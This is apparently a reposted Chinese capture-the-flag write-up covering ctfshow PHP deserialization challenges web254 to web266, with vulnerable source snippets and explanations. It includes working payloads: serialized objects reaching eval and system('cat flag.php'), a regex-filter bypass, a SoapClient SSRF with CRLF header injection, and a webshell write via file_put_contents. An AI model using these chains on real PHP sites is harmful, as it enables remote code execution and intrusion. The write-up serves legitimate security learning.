这里266后面主要是框架,以后在讲
反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结
web254
isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; }}
这里分析一下,我们通过get可以传参两个值,这里他会自动new一个类,我们传的参就会被送入login中做强比较,只要我们传入的值等于$username和$password的值,我们就可以获得flag了
payload: ?username=xxxxxx&password=xxxxxx
web255
isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; }}
这里和有一些是不一样的,就是我们通过cookie传参,还要进行一次反序列化,而且不会讲isVIP的值设置成true了,所以需要我们自己设置一下。
payload: get传: ?username=xxxxxx&password=xxxxxx cookie传: user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22true%22%3B%7D
web256
isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; }}
这里主要的就是这两部分,首先我们传入的值要等于他的值,然后username和password属性不能相等
public function login($u,$p){ return $this->username===$u&&$this->password===$p; } if($this->username!==$this->password){ echo "your flag is ".$flag; }
这里我们生成序列化,设置username为a,password为b,然后get传值a和b就可以了,注意如果下面使用了数字记得用引号包裹,因为我们通过get传输的值是字符串类型的,如果我们这里设置了整数型,那么这两个是不相等的。
payload: get传:?username=a&password=b cookie传:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }}class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; }}class backDoor{ private $code; public function getInfo(){ eval($this->code); }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password);}
这里我们注意,先触发__construct,就是给class new了一个info类,他在最后会触发__destruct魔术方法,类中对应的getInfo()方法,但是backDoor类中才可以,我们可以任意命令执行,所以我们要将类执行backDoor。
他原本是用的是private,但是这个版本我们可以使用public
class = new backDoor;echo urlencode(serialize($a));
payload: //flag在源代码中查看 get传:?username=xxxxxx&password=xxxxxx cookie传: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
web258
class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }}class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; }}class backDoor{ public $code; public function getInfo(){ eval($this->code); }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password);}
这里相对于web257就加了一个过滤,这里我们可以使用加号绕过
class = new backDoor;$b=serialize($a);$b = str_replace("O:11","O:+11",$b);$b = str_replace("O:8","O:+8",$b);echo urlencode($b);
payload: //flag在源代码中查看 get传:?username=xxxxxx&password=xxxxxx cookie传: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
web259
getFlag();
//flag.php
这里进去只有第一个代码,第二个是题目给我们的,这里扫描目录没有发现其他东西,那么证明基本就只有这两个东西。
这里flag.php中,这段代码只能在本地运行,因为它只接受来自本地IP地址(127.0.0.1)的请求,因为他只能接受本地的ip请求,那么我们的ip在怎么修改也不可能是127.0.0.1,除非存在类似ssrf之类的漏洞。
具体理解可以去看我写的php反序列化总结-原生类-SoapClient
接下来我们先本地看看,嗯,没有什么问题
'http://192.168.31.154:54321', 'user_agent'=> "aaa\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow", 'uri'=>'http://192.168.31.154:54321'));$a -> a();
这里我们通过,分隔,array_pop会弹出两个,获取第一个
就是说我们传入1.1.1.1,2.2.2.2,3.3.3.3
最后赋值给$ip的只有1.1.1.1
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);
//最终payload'http://127.0.0.1/flag.php', 'user_agent'=> "aaa\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow", 'uri'=>'hhttp://127.0.0.1/flag.php'));echo urlencode(serialize($a));
//传入以后访问flag.txt,获得flagpayload: get传入: ?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A26%3A%22hhttp%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A137%3A%22aaa%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
web260
分析这里他是有进行正则匹配的,只要通过serialize序列化以后还有包括ctfshow_i_love_36D他就会输出flag,但是说只要传传入ctfshow_i_love_36D就会肯定有这个字符串
payload: get传:?ctfshow=ctfshow_i_love_36D
web261
username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); } public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } }}unserialize($_GET['vip']);
这里我们分析一下,有两个利用点
public function __invoke(){ eval($this->code); } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } }
但是说第一个eval就是一个陷阱,因为没有地方可以触发__invoke魔术方法
所以我们要触发file_put_contents
注意这里__unserialize是比__wakup优先的,这里赋值了code等于username加上password的值
public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; }
继续分析这里这里code,code等于的是一个16进制0x36d,所以就是要弱等于877,所以我们可以让username为877.php,他会检测到点就会停止,所以可以通过判断
public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } }
//最终payload';}echo serialize(new ctfshowvip);
//然后访问887.php,通过一句话木马获得flagpayload: get传:?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"";}
web262
from = $f; $this->msg = $m; $this->to = $t; }}$f = $_GET['f'];$m = $_GET['m'];$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent';}highlight_file(__FILE__);
喵的,我是真的没有看到上面还有一个message.php,扫目录扫了这么久,藏在这里我是真的没有想到
//message.php源码highlight_file(__FILE__);include('flag.php');class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; }}if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; }}
方法1:
我们这里知道了获得flag的条件肯定是直接进行修改token属性的值了呗。
//payload1
payload: cookie传:msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
方法二
按正常方法来我们肯定要使用字符串逃逸的
分析第一段代码,首先我们只能操作的只有f、m、t三个参数,要使token为admin就要覆盖token,我们创建一个token。
首先我们在本地正常序列化一段他的值,那么下面就是我们需要通过增加来拼接的段
";s:5:"token";s:5:"admin";}//长度27
那么就需要27个fuck,来往后移他的值,这里在本地给大家演示一下
通过本地演示,我们就可以知道他是用";s:5:"token";s:5:"admin";}和前面拼接,那么后面的值就被当成垃圾了
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}object(message)#1 (4) { ["from"]=> string(1) "1" ["msg"]=> string(1) "1" ["to"]=> string(135) "loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU" ["token"]=> string(5) "admin"}
payload: get传:?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}//传输好后,他就自动将序列化的值传入cookie msg中,访问message.php就可以获得flag
web263
看这里,因为比较多,我重新搞一篇写这个
web264
刚一看,差点以为看错了,题目打开错了,但是仔细看还是有一些去区别,就是262从cookie传参变成了session传参,那么就没有第一种方法了
但是他是session的值,我们不能修改,但是session的名还是可以的
payload: get传:?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";} cookie传:msg=1
web265
token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; }}$ctfshow = unserialize($_GET['ctfshow']);$ctfshow->token=md5(mt_rand());if($ctfshow->login()){ echo $flag;}
这里token他是等于一个随机值的md5,因为没有设置种子的原因, 我们是无法预测他的值是多少,但是password的值要和他相等,看似不可能,但是我们可以将token的值复制给password,那么他们的值一定相等。
//payload token = &$a -> password;echo serialize($a);
payload: get传:?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}
web266
username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; }}$ctfshowo=@unserialize($cs);if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1);}
这里我们分析一下,因为php://input,那么$cs的值就是我们post传递的值,这里只要__destruct魔术方法执行,我们就可以获得flag,但是这里有一个判断只要我们传输的值有ctfshow就触发自定义报错,那么__destruct就不会执行。
这里我们可以使用大小写来绕过,比较他没有加i,就不会检测大小写。
//payload
payload: post传:O:7:"CTFSHOW":2:{s:8:"username";N;s:8:"password";N;}//注意这里可以使用burp
来源地址:https://blog.csdn.net/m0_64815693/article/details/130005474